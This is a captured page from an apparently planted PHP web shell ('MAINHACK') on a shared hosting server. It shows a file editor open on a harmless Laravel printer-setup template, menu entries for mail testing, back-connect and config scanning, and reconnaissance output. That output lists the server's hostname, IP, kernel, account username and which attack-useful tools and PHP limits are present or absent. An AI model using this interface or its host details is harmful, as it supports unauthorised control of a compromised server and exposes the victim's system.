[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create.blade.php
@extends('layouts.app') @section('title', __('printer.add_printer')) @section('content') <style type="text/css"> </style> <!-- Content Header (Page header) --> <section class="content-header"> <h1 class="tw-text-xl md:tw-text-3xl tw-font-bold tw-text-black">@lang('printer.add_printer')</h1> <!-- <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Level</a></li> <li class="active">Here</li> </ol> --> </section> <!-- Main content --> <section class="content"> {!! Form::open(['url' => action([\App\Http\Controllers\PrinterController::class, 'store']), 'method' => 'post', 'id' => 'add_printer_form' ]) !!} @component('components.widget') <div class="row"> <div class="col-sm-12"> <div class="form-group"> {!! Form::label('name', __('printer.name') . ':*') !!} {!! Form::text('name', null, ['class' => 'form-control', 'required', 'placeholder' => __('lang_v1.printer_name_help')]); !!} </div> </div> <div class="col-sm-12"> <div class="form-group"> {!! Form::label('connection_type',__('printer.connection_type') . ':*') !!} {!! Form::select('connection_type', $connection_types, null, ['class' => 'form-control select2']); !!} </div> </div> <div class="col-sm-12"> <div class="form-group"> {!! Form::label('capability_profile',__('printer.capability_profile') . ':*') !!} @show_tooltip(__('tooltip.capability_profile')) {!! Form::select('capability_profile', $capability_profiles, null, ['class' => 'form-control select2']); !!} </div> </div> <div class="col-sm-12"> <div class="form-group"> {!! Form::label('char_per_line', __('printer.character_per_line') . ':*') !!} {!! Form::number('char_per_line', 42, ['class' => 'form-control', 'required', 'placeholder' => __('lang_v1.char_per_line_help')]); !!} </div> </div> <div class="col-sm-12" id="ip_address_div"> <div class="form-group"> {!! Form::label('ip_address', __('printer.ip_address') . ':*') !!} {!! Form::text('ip_address', null, ['class' => 'form-control', 'required', 'placeholder' => __('lang_v1.ip_address_help')]); !!} </div> </div> <div class="col-sm-12" id="port_div"> <div class="form-group"> {!! Form::label('port', __('printer.port') . ':*') !!} {!! Form::text('port', 9100, ['class' => 'form-control', 'required']); !!} <span class="help-block">@lang('lang_v1.port_help')</span> </div> </div> <div class="col-sm-12 hide" id="path_div"> <div class="form-group"> {!! Form::label('path', __('printer.path') . ':*') !!} {!! Form::text('path', null, ['class' => 'form-control', 'required']); !!} <span class="help-block"> <b>@lang('lang_v1.connection_type_windows'): </b> @lang('lang_v1.windows_type_help') <code>LPT1</code> (parallel) / <code>COM1</code> (serial). <br/> <b>@lang('lang_v1.connection_type_linux'): </b> @lang('lang_v1.linux_type_help') <code>/dev/lp0</code> (parallel), <code>/dev/usb/lp1</code> (USB), <code>/dev/ttyUSB0</code> (USB-Serial), <code>/dev/ttyS0</code> (serial). <br/> </span> </div> </div> <div class="col-sm-12 text-center"> <button type="submit" class="btn btn-primary btn-big">@lang('messages.save')</button> </div> </div> @endcomponent {!! Form::close() !!} </section> <!-- /.content --> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285